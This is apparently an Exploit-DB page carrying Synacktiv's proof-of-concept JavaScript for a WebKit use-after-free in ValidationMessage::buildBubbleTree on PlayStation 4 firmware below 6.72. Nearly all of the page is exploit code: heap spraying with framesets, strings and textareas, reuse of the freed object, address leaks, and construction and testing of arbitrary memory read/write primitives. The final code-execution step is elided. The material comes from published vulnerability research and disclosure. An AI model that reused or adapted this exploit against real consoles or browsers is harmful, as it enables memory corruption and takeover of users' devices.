Sony Playstation 4 (PS4) < 6.72 - 'ValidationMessage::buildBubbleTree()' Use-After-Free WebKit Code Execution (PoC)

  • 作者: Synacktiv
    日期: 2020-11-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49308/
  • const OFFSET_ELEMENT_REFCOUNT = 0x10;
    const OFFSET_JSAB_VIEW_VECTOR = 0x10;
    const OFFSET_JSAB_VIEW_LENGTH = 0x18;
    const OFFSET_LENGTH_STRINGIMPL = 0x04;
    const OFFSET_HTMLELEMENT_REFCOUNT = 0x14;
    
    const LENGTH_ARRAYBUFFER = 0x8;
    const LENGTH_STRINGIMPL = 0x14;
    const LENGTH_JSVIEW = 0x20;
    const LENGTH_VALIDATION_MESSAGE = 0x30;
    const LENGTH_TIMER = 0x48;
    const LENGTH_HTMLTEXTAREA = 0xd8;
    
    const SPRAY_ELEM_SIZE = 0x6000;
    const SPRAY_STRINGIMPL = 0x1000;
    
    const NB_FRAMES = 0xfa0;
    const NB_REUSE = 0x8000;
    
    var g_arr_ab_1 = [];
    var g_arr_ab_2 = [];
    var g_arr_ab_3 = [];
    
    var g_frames = [];
    
    var g_relative_read = null;
    var g_relative_rw = null;
    var g_ab_slave = null;
    var g_ab_index = null;
    
    var g_timer_leak = null;
    var g_jsview_leak = null;
    var g_message_heading_leak = null;
    var g_message_body_leak = null;
    
    var g_obj_str = {};
    
    var g_rows1 = '1px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "1px";
    var g_rows2 = '2px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "2px";
    
    var g_round = 1;
    var g_input = null;
    
    var guess_htmltextarea_addr = new Int64("0x2070a00d8");
    
    
    /* Executed after deleteBubbleTree */
    function setupRW() {
    	/* Now the m_length of the JSArrayBufferView should be 0xffffff01 */
    	for (let i = 0; i < g_arr_ab_3.length; i++) {
    		if (g_arr_ab_3[i].length > 0xff) {
    			g_relative_rw = g_arr_ab_3[i];
    			debug_log("[+] Succesfully got a relative R/W");
    			break;
    		}
    	}
    	if (g_relative_rw === null)
    		die("[!] Failed to setup a relative R/W primitive");
    
    	debug_log("[+] Setting up arbitrary R/W");
    
    	/* Retrieving the ArrayBuffer address using the relative read */
    	let diff = g_jsview_leak.sub(g_timer_leak).low32() - LENGTH_STRINGIMPL + 1;
    	let ab_addr = new Int64(str2array(g_relative_read, 8, diff + OFFSET_JSAB_VIEW_VECTOR));
    
    	/* Does the next JSObject is a JSView? Otherwise we target the previous JSObject */
    	let ab_index = g_jsview_leak.sub(ab_addr).low32();
    	if (g_relative_rw[ab_index + LENGTH_JSVIEW + OFFSET_JSAB_VIEW_LENGTH] === LENGTH_ARRAYBUFFER)
    		g_ab_index = ab_index + LENGTH_JSVIEW;
    	else
    		g_ab_index = ab_index - LENGTH_JSVIEW;
    
    	/* Overding the length of one JSArrayBufferView with a known value */
    	g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0x41;
    
    	/* Looking for the slave JSArrayBufferView */
    	for (let i = 0; i < g_arr_ab_3.length; i++) {
    		if (g_arr_ab_3[i].length === 0x41) {
    			g_ab_slave = g_arr_ab_3[i];
    			g_arr_ab_3 = null;
    			break;
    		}
    	}
    	if (g_ab_slave === null)
    		die("[!] Didn't found the slave JSArrayBufferView");
    
    	/* Extending the JSArrayBufferView length */
    	g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0xff;
    	g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 1] = 0xff;
    	g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 2] = 0xff;
    	g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 3] = 0xff;
    
    	debug_log("[+] Testing arbitrary R/W");
    
    	let saved_vtable = read64(guess_htmltextarea_addr);
    	write64(guess_htmltextarea_addr, new Int64("0x4141414141414141"));
    	if (!read64(guess_htmltextarea_addr).equals("0x4141414141414141"))
    		die("[!] Failed to setup arbitrary R/W primitive");
    
    	debug_log("[+] Succesfully got arbitrary R/W!");
    
    	/* Restore the overidden vtable pointer */
    	write64(guess_htmltextarea_addr, saved_vtable);
    
    	/* Cleanup memory */
    	cleanup();
    
    	/* Getting code execution */
    	/* ... */
    }
    
    function read(addr, length) {
    	for (let i = 0; i < 8; i++)
    		g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);
    	let arr = [];
    	for (let i = 0; i < length; i++)
    		arr.push(g_ab_slave[i]);
    	return arr;
    }
    
    function read64(addr) {
    	return new Int64(read(addr, 8));
    }
    
    function write(addr, data) {
    	for (let i = 0; i < 8; i++)
    		g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);
    	for (let i = 0; i < data.length; i++)
    		g_ab_slave[i] = data[i];
    }
    
    function write64(addr, data) {
    	write(addr, data.bytes());
    }
    
    function cleanup() {
    	select1.remove();
    	select1 = null;
    	input1.remove();
    	input1 = null;
    	input2.remove();
    	input2 = null;
    	input3.remove();
    	input3 = null;
    	div1.remove();
    	div1 = null;
    	g_input = null;
    	g_rows1 = null;
    	g_rows2 = null;
    	g_frames = null;
    }
    
    /*
     * Executed after buildBubbleTree
     * and before deleteBubbleTree
     */
    function confuseTargetObjRound2() {
    	if (findTargetObj() === false)
    		die("[!] Failed to reuse target obj.");
    
    	g_fake_validation_message[4] = g_jsview_leak.add(OFFSET_JSAB_VIEW_LENGTH + 5 - OFFSET_HTMLELEMENT_REFCOUNT).asDouble();
    
    	setTimeout(setupRW, 6000);
    }
    
    
    /* Executed after deleteBubbleTree */
    function leakJSC() {
    	debug_log("[+] Looking for the smashed StringImpl...");
    
    	var arr_str = Object.getOwnPropertyNames(g_obj_str);
    
    	/* Looking for the smashed string */
    	for (let i = arr_str.length - 1; i > 0; i--) {
    		if (arr_str[i].length > 0xff) {
    			debug_log("[+] StringImpl corrupted successfully");
    			g_relative_read = arr_str[i];
    			g_obj_str = null;
    			break;
    		}
    	}
    	if (g_relative_read === null)
    		die("[!] Failed to setup a relative read primitive");
    
    	debug_log("[+] Got a relative read");
    
    	let ab = new ArrayBuffer(LENGTH_ARRAYBUFFER);
    
    	/* Spraying JSView */
    	let tmp = [];
    	for (let i = 0; i < 0x10000; i++) {
    		/* The last allocated are more likely to be allocated after our relative read */
    		if (i >= 0xfc00)
    			g_arr_ab_3.push(new Uint8Array(ab));
    		else
    			tmp.push(new Uint8Array(ab));
    	}
    	tmp = null;
    
    	/*
    	 * Force JSC ref on FastMalloc Heap
    	 * https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151
    	 */
    	var props = [];
    	for (var i = 0; i < 0x400; i++) {
    		props.push({ value: 0x42424242 });
    		props.push({ value: g_arr_ab_3[i] });
    	}
    
    	/* 
    	 * /!\
    	 * This part must avoid as much as possible fastMalloc allocation
    	 * to avoid re-using the targeted object 
    	 * /!\ 
    	 */
    	/* Use relative read to find our JSC obj */
    	/* We want a JSView that is allocated after our relative read */
    	while (g_jsview_leak === null) {
    		Object.defineProperties({}, props);
    		for (let i = 0; i < 0x800000; i++) {
    			var v = undefined;
    			if (g_relative_read.charCodeAt(i) === 0x42 &&
    				g_relative_read.charCodeAt(i + 0x01) === 0x42 &&
    				g_relative_read.charCodeAt(i + 0x02) === 0x42 &&
    				g_relative_read.charCodeAt(i + 0x03) === 0x42) {
    				if (g_relative_read.charCodeAt(i + 0x08) === 0x00 &&
    					g_relative_read.charCodeAt(i + 0x0f) === 0x00 &&
    					g_relative_read.charCodeAt(i + 0x10) === 0x00 &&
    					g_relative_read.charCodeAt(i + 0x17) === 0x00 &&
    					g_relative_read.charCodeAt(i + 0x18) === 0x0e &&
    					g_relative_read.charCodeAt(i + 0x1f) === 0x00 &&
    					g_relative_read.charCodeAt(i + 0x28) === 0x00 &&
    					g_relative_read.charCodeAt(i + 0x2f) === 0x00 &&
    					g_relative_read.charCodeAt(i + 0x30) === 0x00 &&
    					g_relative_read.charCodeAt(i + 0x37) === 0x00 &&
    					g_relative_read.charCodeAt(i + 0x38) === 0x0e &&
    					g_relative_read.charCodeAt(i + 0x3f) === 0x00)
    					v = new Int64(str2array(g_relative_read, 8, i + 0x20));
    				else if (g_relative_read.charCodeAt(i + 0x10) === 0x42 &&
    					g_relative_read.charCodeAt(i + 0x11) === 0x42 &&
    					g_relative_read.charCodeAt(i + 0x12) === 0x42 &&
    					g_relative_read.charCodeAt(i + 0x13) === 0x42)
    					v = new Int64(str2array(g_relative_read, 8, i + 8));
    			}
    			if (v !== undefined && v.greater(g_timer_leak) && v.sub(g_timer_leak).hi32() === 0x0) {
    				g_jsview_leak = v;
    				props = null;
    				break;
    			}
    		}
    	}
    	/* 
    	 * /!\
    	 * Critical part ended-up here
    	 * /!\ 
    	 */
    
    	debug_log("[+] JSArrayBufferView: " + g_jsview_leak);
    
    	/* Run the exploit again */
    	prepareUAF();
    }
    
    /*
     * Executed after buildBubbleTree
     * and before deleteBubbleTree
     */
    function confuseTargetObjRound1() {
    	/* Force allocation of StringImpl obj. beyond Timer address */
    	sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL * 2);
    
    	/* Checking for leaked data */
    	if (findTargetObj() === false)
    		die("[!] Failed to reuse target obj.");
    
    	dumpTargetObj();
    
    	g_fake_validation_message[4] = g_timer_leak.add(LENGTH_TIMER * 8 + OFFSET_LENGTH_STRINGIMPL + 1 - OFFSET_ELEMENT_REFCOUNT).asDouble();
    
    	/*
    	 * The timeout must be > 5s because deleteBubbleTree is scheduled to run in
    	 * the next 5s
    	 */
    	setTimeout(leakJSC, 6000);
    }
    
    function handle2() {
    	/* focus elsewhere */
    	input2.focus();
    }
    
    function reuseTargetObj() {
    	/* Delete ValidationMessage instance */
    	document.body.appendChild(g_input);
    
    	/*
    	 * Free ValidationMessage neighboors.
    	 * SmallLine is freed -> SmallPage is cached
    	 */
    	for (let i = NB_FRAMES / 2 - 0x10; i < NB_FRAMES / 2 + 0x10; i++)
    		g_frames[i].setAttribute("rows", ',');
    
    	/* Get back target object */
    	for (let i = 0; i < NB_REUSE; i++) {
    		let ab = new ArrayBuffer(LENGTH_VALIDATION_MESSAGE);
    		let view = new Float64Array(ab);
    
    		view[0] = guess_htmltextarea_addr.asDouble(); // m_element
    		view[3] = guess_htmltextarea_addr.asDouble(); // m_bubble
    
    		g_arr_ab_1.push(view);
    	}
    
    	if (g_round == 1) {
    		/*
    		 * Spray a couple of StringImpl obj. prior to Timer allocation
    		 * This will force Timer allocation on same SmallPage as our Strings
    		 */
    		sprayStringImpl(0, SPRAY_STRINGIMPL);
    
    		g_frames = [];
    		g_round += 1;
    		g_input = input3;
    
    		setTimeout(confuseTargetObjRound1, 10);
    	} else {
    		setTimeout(confuseTargetObjRound2, 10);
    	}
    }
    
    function dumpTargetObj() {
    	debug_log("[+] m_timer: " + g_timer_leak);
    	debug_log("[+] m_messageHeading: " + g_message_heading_leak);
    	debug_log("[+] m_messageBody: " + g_message_body_leak);
    }
    
    function findTargetObj() {
    	for (let i = 0; i < g_arr_ab_1.length; i++) {
    		if (!Int64.fromDouble(g_arr_ab_1[i][2]).equals(Int64.Zero)) {
    			debug_log("[+] Found fake ValidationMessage");
    
    			if (g_round === 2) {
    				g_timer_leak = Int64.fromDouble(g_arr_ab_1[i][2]);
    				g_message_heading_leak = Int64.fromDouble(g_arr_ab_1[i][4]);
    				g_message_body_leak = Int64.fromDouble(g_arr_ab_1[i][5]);
    				g_round++;
    			}
    
    			g_fake_validation_message = g_arr_ab_1[i];
    			g_arr_ab_1 = [];
    			return true;
    		}
    	}
    	return false;
    }
    
    function prepareUAF() {
    	g_input.setCustomValidity("ps4");
    
    	for (let i = 0; i < NB_FRAMES; i++) {
    		var element = document.createElement("frameset");
    		g_frames.push(element);
    	}
    
    	g_input.reportValidity();
    	var div = document.createElement("div");
    	document.body.appendChild(div);
    	div.appendChild(g_input);
    
    	/* First half spray */
    	for (let i = 0; i < NB_FRAMES / 2; i++)
    		g_frames[i].setAttribute("rows", g_rows1);
    
    	/* Instantiate target obj */
    	g_input.reportValidity();
    
    	/* ... and the second half */
    	for (let i = NB_FRAMES / 2; i < NB_FRAMES; i++)
    		g_frames[i].setAttribute("rows", g_rows2);
    
    	g_input.setAttribute("onfocus", "reuseTargetObj()");
    	g_input.autofocus = true;
    }
    
    /* HTMLElement spray */
    function sprayHTMLTextArea() {
    	debug_log("[+] Spraying HTMLTextareaElement ...");
    
    	let textarea_div_elem = document.createElement("div");
    	document.body.appendChild(textarea_div_elem);
    	textarea_div_elem.id = "div1";
    	var element = document.createElement("textarea");
    
    	/* Add a style to avoid textarea display */
    	element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;';
    
    	/*
    	 * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc
    	 * allocation of the node attributes and an IsoHeap allocation of the
    	 * Element. The virtual page layout will look something like that:
    	 * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...]
    	 */
    	for (let i = 0; i < SPRAY_ELEM_SIZE; i++)
    		textarea_div_elem.appendChild(element.cloneNode());
    }
    
    /* StringImpl Spray */
    function sprayStringImpl(start, end) {
    	for (let i = start; i < end; i++) {
    		let s = new String("A".repeat(LENGTH_TIMER - LENGTH_STRINGIMPL - 5) + i.toString().padStart(5, "0"));
    		g_obj_str[s] = 0x1337;
    	}
    }
    
    function go() {
    	/* Init spray */
    	sprayHTMLTextArea();
    
    	g_input = input1;
    	/* Shape heap layout for obj. reuse */
    	prepareUAF();
    }